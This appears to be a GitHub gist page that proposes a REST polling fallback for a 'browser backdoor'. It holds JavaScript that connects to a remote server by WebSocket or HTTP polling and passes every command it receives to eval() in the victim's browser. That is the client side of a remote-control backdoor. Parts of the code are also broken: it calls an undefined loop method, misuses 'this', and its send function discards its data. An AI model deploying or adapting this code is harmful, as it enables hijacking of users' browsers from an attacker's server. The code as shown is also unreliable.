Last active
May 19, 2017 12:15
-
-
Save Paradoxis/64c83b114f4eb80fc083033aa1e15127 to your computer and use it in GitHub Desktop.
Browser backdoor REST fallback proposal
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wsConnect(url) | |
{ | |
if (ws == null && "WebSocket" in window) { | |
ws = new WebSocket(url); | |
} | |
if (ws == null && "RestSocket" in window) { | |
ws = new RestSocket(url); | |
} | |
if (ws == null) { | |
return; | |
} | |
ws.onmessage = function(evt) { | |
if (ws.readyState === 1) { | |
eval(evt.data); | |
} | |
}; | |
ws.onclose = function() { | |
ws = null; | |
}; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;(function(global) { | |
/** | |
* WebSocket fallback class | |
* @param {string} url | |
* @param {number} timeout | |
*/ | |
function RestSocket(url, timeout) | |
{ | |
/* Ready state variables */ | |
this.CONNECTING = 0; | |
this.OPEN = 1; | |
this.CLOSING = 2; | |
this.CLOSED = 3; | |
/* URL and session ID */ | |
this.id = null; | |
this.url = url.replace(/(ws)(s)?\:\/\//, "http$2://"); | |
/* Connect loop */ | |
this.interval = null; | |
this.readyState = this.CLOSED; | |
/* Event listeners */ | |
this.onmessage = function() {} | |
this.onerror = function() {} | |
this.onclose = function() {} | |
this.onopen = function() {} | |
/* Initialize the socket */ | |
this.connect(); | |
} | |
/** | |
* Connect to the browser backdoor server | |
* Fetches a session ID, and stores it in the RestSocket instance | |
* @returns {void} | |
* @async | |
*/ | |
RestSocket.prototype.connect = function() | |
{ | |
this.readyState = this.CONNECTING; | |
var req = new XMLHttpRequest(); | |
req.onreadystatechange = this.connectCallback(this, req); | |
req.open("GET", this.url + "/session", true); | |
req.send(); | |
}; | |
/** | |
* Connect callback handler | |
* @param {this} self | |
* @parm {XMLHttpRequest} req | |
* @returns {Function} | |
*/ | |
RestSocket.prototype.connectCallback = function (self, req) | |
{ | |
return function() { | |
if (req.readyState == 4 && req.status == 200) { | |
self.readyState = self.OPEN; | |
self.id = parseInt(req.responseText); | |
self.onopen(self.id) | |
self.loop(); | |
} else { | |
self.onerror(req.responseText); | |
} | |
}; | |
}; | |
/** | |
* Disconnect from the browser backdoor server (destroy the session) | |
* @return {void} | |
*/ | |
RestSocket.prototype.disconnect = function () | |
{ | |
var req = new XMLHttpRequest(); | |
req.onreadystatechange = this.disconnectCallback(this, req); | |
req.open("DELETE", this.url + "/session", true); | |
req.send(); | |
}; | |
/** | |
* Disconnect callback handler | |
* @param {this} self | |
* @param {XMLHttpRequest} req | |
* @return {Function} | |
*/ | |
RestSocket.prototype.disconnectCallback = function (self, req) | |
{ | |
return function () { | |
self.readyState = self.CLOSED; | |
self.onclose(); | |
} | |
}; | |
/** | |
* Fetch data from the command buffer | |
* @param {this} self | |
* @return {Function} | |
*/ | |
RestSocket.prototype.receive = function (self) | |
{ | |
return function () { | |
var req = new XMLHttpRequest(); | |
req.onreadystatechange = this.receiveCallback(self, req); | |
req.open("GET", this.url + "/buffer/" + this.id, true); | |
req.send(); | |
} | |
}; | |
/** | |
* Receive callback handler | |
* @param {this} self | |
* @param {XMLHttpRequest} req | |
* @returns {Function} | |
*/ | |
RestSocket.prototype.receiveCallback = function (self, req) | |
{ | |
return function () { | |
if (req.readyState == 4 && req.status == 200) { | |
self.onmessage({"data": req.responseText}); | |
} else { | |
self.onerror(req.responseText, req.status); | |
} | |
} | |
}; | |
/** | |
* Receive interval | |
* @returns {void} | |
*/ | |
RestSocket.prototype.receiveLoop = function () | |
{ | |
this.interval = setInterval(this.receive(this), 500); | |
}; | |
/** | |
* Stop the receiveLoop and destroy the REST session | |
* Used as an alternative for the WebSocket.close() method | |
* @returns {void} | |
*/ | |
RestSocket.prototype.close = function() | |
{ | |
this.readyState = this.CLOSING; | |
clearInterval(this.interval); | |
this.disconnect(); | |
}; | |
/** | |
* Send data to the rest based WebSocket server | |
* Used as an alternative for the WebSocket.send() method | |
* @returns {void} | |
*/ | |
RestSocket.prototype.send = function(data) | |
{ | |
var req = new XMLHttpRequest(); | |
req.open("POST", this.url + "/buffer/" + this.id, true); | |
req.send(); | |
}; | |
window.RestSocket = RestSocket; | |
})(window); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment